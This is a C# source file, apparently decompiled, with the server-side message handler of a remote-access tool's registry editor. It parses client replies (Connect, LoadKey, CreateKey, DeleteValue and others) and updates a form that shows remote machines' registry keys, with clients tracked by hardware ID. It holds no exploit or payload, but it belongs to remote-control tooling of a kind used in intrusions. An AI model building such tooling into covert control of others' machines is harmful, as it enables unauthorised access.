317 lines
8.0 KiB
C#
317 lines
8.0 KiB
C#
|
using System.Collections.Generic;
|
||
|
|
using System.Windows.Forms;
|
||
|
|
using Leb128;
|
||
|
|
using Microsoft.Win32;
|
||
|
|
using Server.Connectings;
|
||
|
|
using Server.Forms;
|
||
|
|
using Server.Helper;
|
||
|
|
|
||
|
|
namespace Server.Messages;
|
||
|
|
|
||
|
|
internal class HandlerRegedit
|
||
|
|
{
|
||
|
|
public static void Read(Clients client, object[] objects)
|
||
|
|
{
|
||
|
|
string text = (string)objects[1];
|
||
|
|
if (text == null)
|
||
|
|
{
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
switch (text.Length)
|
||
|
|
{
|
||
|
|
case 7:
|
||
|
|
switch (text[0])
|
||
|
|
{
|
||
|
|
case 'C':
|
||
|
|
{
|
||
|
|
if (!(text == "Connect"))
|
||
|
|
{
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
FormRegedit form2 = (FormRegedit)Application.OpenForms["Regedit:" + (string)objects[2]];
|
||
|
|
if (form2 == null)
|
||
|
|
{
|
||
|
|
client.Disconnect();
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
string rootKey2 = (string)objects[3];
|
||
|
|
List<RegistrySeeker.RegSeekerMatch> seekerMatches2 = new List<RegistrySeeker.RegSeekerMatch>();
|
||
|
|
int num4 = 4;
|
||
|
|
while (num4 < objects.Length)
|
||
|
|
{
|
||
|
|
RegistrySeeker.RegSeekerMatch regSeekerMatch3 = new RegistrySeeker.RegSeekerMatch();
|
||
|
|
regSeekerMatch3.Key = (string)objects[num4++];
|
||
|
|
object[] array3 = LEB128.Read((byte[])objects[num4++]);
|
||
|
|
List<RegistrySeeker.RegValueData> list3 = new List<RegistrySeeker.RegValueData>();
|
||
|
|
int num5 = 0;
|
||
|
|
while (num5 < array3.Length)
|
||
|
|
{
|
||
|
|
RegistrySeeker.RegValueData regValueData5 = new RegistrySeeker.RegValueData();
|
||
|
|
regValueData5.Name = (string)array3[num5++];
|
||
|
|
regValueData5.Kind = (RegistryValueKind)(int)array3[num5++];
|
||
|
|
regValueData5.Data = (byte[])array3[num5++];
|
||
|
|
list3.Add(regValueData5);
|
||
|
|
}
|
||
|
|
regSeekerMatch3.Data = list3.ToArray();
|
||
|
|
regSeekerMatch3.HasSubKeys = (bool)objects[num4++];
|
||
|
|
seekerMatches2.Add(regSeekerMatch3);
|
||
|
|
}
|
||
|
|
form2.Invoke((MethodInvoker)delegate
|
||
|
|
{
|
||
|
|
form2.materialLabel1.Enabled = true;
|
||
|
|
form2.lstRegistryValues.Enabled = true;
|
||
|
|
form2.tvRegistryDirectory.Enabled = true;
|
||
|
|
form2.Text = "Regedit [" + (string)objects[2] + "]";
|
||
|
|
form2.materialLabel1.Text = "Succues Connect";
|
||
|
|
form2.AddKeys(rootKey2, seekerMatches2.ToArray());
|
||
|
|
form2.client = client;
|
||
|
|
});
|
||
|
|
client.Tag = form2;
|
||
|
|
client.Hwid = (string)objects[2];
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
case 'L':
|
||
|
|
{
|
||
|
|
if (!(text == "LoadKey"))
|
||
|
|
{
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
FormRegedit FM8 = (FormRegedit)client.Tag;
|
||
|
|
if (FM8 == null)
|
||
|
|
{
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
string rootKey = (string)objects[2];
|
||
|
|
List<RegistrySeeker.RegSeekerMatch> seekerMatches = new List<RegistrySeeker.RegSeekerMatch>();
|
||
|
|
int num2 = 3;
|
||
|
|
while (num2 < objects.Length)
|
||
|
|
{
|
||
|
|
RegistrySeeker.RegSeekerMatch regSeekerMatch2 = new RegistrySeeker.RegSeekerMatch();
|
||
|
|
regSeekerMatch2.Key = (string)objects[num2++];
|
||
|
|
object[] array2 = LEB128.Read((byte[])objects[num2++]);
|
||
|
|
List<RegistrySeeker.RegValueData> list2 = new List<RegistrySeeker.RegValueData>();
|
||
|
|
int num3 = 0;
|
||
|
|
while (num3 < array2.Length)
|
||
|
|
{
|
||
|
|
RegistrySeeker.RegValueData regValueData4 = new RegistrySeeker.RegValueData();
|
||
|
|
regValueData4.Name = (string)array2[num3++];
|
||
|
|
regValueData4.Kind = (RegistryValueKind)(int)array2[num3++];
|
||
|
|
regValueData4.Data = (byte[])array2[num3++];
|
||
|
|
list2.Add(regValueData4);
|
||
|
|
}
|
||
|
|
regSeekerMatch2.Data = list2.ToArray();
|
||
|
|
regSeekerMatch2.HasSubKeys = (bool)objects[num2++];
|
||
|
|
seekerMatches.Add(regSeekerMatch2);
|
||
|
|
}
|
||
|
|
FM8.Invoke((MethodInvoker)delegate
|
||
|
|
{
|
||
|
|
FM8.AddKeys(rootKey, seekerMatches.ToArray());
|
||
|
|
});
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
break;
|
||
|
|
case 9:
|
||
|
|
switch (text[0])
|
||
|
|
{
|
||
|
|
case 'C':
|
||
|
|
{
|
||
|
|
if (!(text == "CreateKey"))
|
||
|
|
{
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
FormRegedit FM7 = (FormRegedit)client.Tag;
|
||
|
|
if (FM7 != null)
|
||
|
|
{
|
||
|
|
string ParentPath = (string)objects[2];
|
||
|
|
RegistrySeeker.RegSeekerMatch regSeekerMatch = new RegistrySeeker.RegSeekerMatch();
|
||
|
|
regSeekerMatch.Key = (string)objects[3];
|
||
|
|
object[] array = LEB128.Read((byte[])objects[4]);
|
||
|
|
List<RegistrySeeker.RegValueData> list = new List<RegistrySeeker.RegValueData>();
|
||
|
|
int num = 0;
|
||
|
|
while (num < array.Length)
|
||
|
|
{
|
||
|
|
RegistrySeeker.RegValueData regValueData3 = new RegistrySeeker.RegValueData();
|
||
|
|
regValueData3.Name = (string)array[num++];
|
||
|
|
regValueData3.Kind = (RegistryValueKind)(int)array[num++];
|
||
|
|
regValueData3.Data = (byte[])array[num++];
|
||
|
|
list.Add(regValueData3);
|
||
|
|
}
|
||
|
|
regSeekerMatch.Data = list.ToArray();
|
||
|
|
regSeekerMatch.HasSubKeys = (bool)objects[5];
|
||
|
|
FM7.Invoke((MethodInvoker)delegate
|
||
|
|
{
|
||
|
|
FM7.CreateNewKey(ParentPath, regSeekerMatch);
|
||
|
|
});
|
||
|
|
}
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
case 'D':
|
||
|
|
{
|
||
|
|
if (!(text == "DeleteKey"))
|
||
|
|
{
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
FormRegedit FM6 = (FormRegedit)client.Tag;
|
||
|
|
if (FM6 != null)
|
||
|
|
{
|
||
|
|
FM6.Invoke((MethodInvoker)delegate
|
||
|
|
{
|
||
|
|
FM6.DeleteKey((string)objects[2], (string)objects[3]);
|
||
|
|
});
|
||
|
|
}
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
case 'R':
|
||
|
|
{
|
||
|
|
if (!(text == "RenameKey"))
|
||
|
|
{
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
FormRegedit FM5 = (FormRegedit)client.Tag;
|
||
|
|
if (FM5 != null)
|
||
|
|
{
|
||
|
|
FM5.Invoke((MethodInvoker)delegate
|
||
|
|
{
|
||
|
|
FM5.RenameKey((string)objects[2], (string)objects[3], (string)objects[4]);
|
||
|
|
});
|
||
|
|
}
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
break;
|
||
|
|
case 11:
|
||
|
|
switch (text[2])
|
||
|
|
{
|
||
|
|
case 'e':
|
||
|
|
{
|
||
|
|
if (!(text == "CreateValue"))
|
||
|
|
{
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
FormRegedit FM3 = (FormRegedit)client.Tag;
|
||
|
|
if (FM3 != null)
|
||
|
|
{
|
||
|
|
string keyPath2 = (string)objects[2];
|
||
|
|
string text2 = (string)objects[3];
|
||
|
|
string name = (string)objects[4];
|
||
|
|
RegistryValueKind kind = RegistryValueKind.None;
|
||
|
|
switch (text2)
|
||
|
|
{
|
||
|
|
case "-1":
|
||
|
|
kind = RegistryValueKind.None;
|
||
|
|
break;
|
||
|
|
case "0":
|
||
|
|
kind = RegistryValueKind.Unknown;
|
||
|
|
break;
|
||
|
|
case "1":
|
||
|
|
kind = RegistryValueKind.String;
|
||
|
|
break;
|
||
|
|
case "2":
|
||
|
|
kind = RegistryValueKind.ExpandString;
|
||
|
|
break;
|
||
|
|
case "3":
|
||
|
|
kind = RegistryValueKind.Binary;
|
||
|
|
break;
|
||
|
|
case "4":
|
||
|
|
kind = RegistryValueKind.DWord;
|
||
|
|
break;
|
||
|
|
case "7":
|
||
|
|
kind = RegistryValueKind.MultiString;
|
||
|
|
break;
|
||
|
|
case "11":
|
||
|
|
kind = RegistryValueKind.QWord;
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
RegistrySeeker.RegValueData regValueData2 = new RegistrySeeker.RegValueData();
|
||
|
|
regValueData2.Name = name;
|
||
|
|
regValueData2.Kind = kind;
|
||
|
|
regValueData2.Data = new byte[0];
|
||
|
|
FM3.Invoke((MethodInvoker)delegate
|
||
|
|
{
|
||
|
|
FM3.CreateValue(keyPath2, regValueData2);
|
||
|
|
});
|
||
|
|
}
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
case 'l':
|
||
|
|
{
|
||
|
|
if (!(text == "DeleteValue"))
|
||
|
|
{
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
FormRegedit FM2 = (FormRegedit)client.Tag;
|
||
|
|
if (FM2 != null)
|
||
|
|
{
|
||
|
|
FM2.Invoke((MethodInvoker)delegate
|
||
|
|
{
|
||
|
|
FM2.DeleteValue((string)objects[2], (string)objects[3]);
|
||
|
|
});
|
||
|
|
}
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
case 'n':
|
||
|
|
{
|
||
|
|
if (!(text == "RenameValue"))
|
||
|
|
{
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
FormRegedit FM4 = (FormRegedit)client.Tag;
|
||
|
|
if (FM4 != null)
|
||
|
|
{
|
||
|
|
FM4.Invoke((MethodInvoker)delegate
|
||
|
|
{
|
||
|
|
FM4.RenameValue((string)objects[2], (string)objects[3], (string)objects[4]);
|
||
|
|
});
|
||
|
|
}
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
case 'a':
|
||
|
|
{
|
||
|
|
if (!(text == "ChangeValue"))
|
||
|
|
{
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
FormRegedit FM = (FormRegedit)client.Tag;
|
||
|
|
if (FM != null)
|
||
|
|
{
|
||
|
|
string keyPath = (string)objects[2];
|
||
|
|
RegistrySeeker.RegValueData regValueData = new RegistrySeeker.RegValueData();
|
||
|
|
regValueData.Name = (string)objects[3];
|
||
|
|
regValueData.Kind = (RegistryValueKind)(int)objects[4];
|
||
|
|
regValueData.Data = (byte[])objects[5];
|
||
|
|
FM.Invoke((MethodInvoker)delegate
|
||
|
|
{
|
||
|
|
FM.ChangeValue(keyPath, regValueData);
|
||
|
|
});
|
||
|
|
}
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
break;
|
||
|
|
case 5:
|
||
|
|
{
|
||
|
|
if (!(text == "Error"))
|
||
|
|
{
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
if (client.Tag == null)
|
||
|
|
{
|
||
|
|
client.Disconnect();
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
FormRegedit form = (FormRegedit)client.Tag;
|
||
|
|
form.Invoke((MethodInvoker)delegate
|
||
|
|
{
|
||
|
|
form.materialLabel1.Text = "Error: " + (string)objects[2];
|
||
|
|
});
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
case 6:
|
||
|
|
case 8:
|
||
|
|
case 10:
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|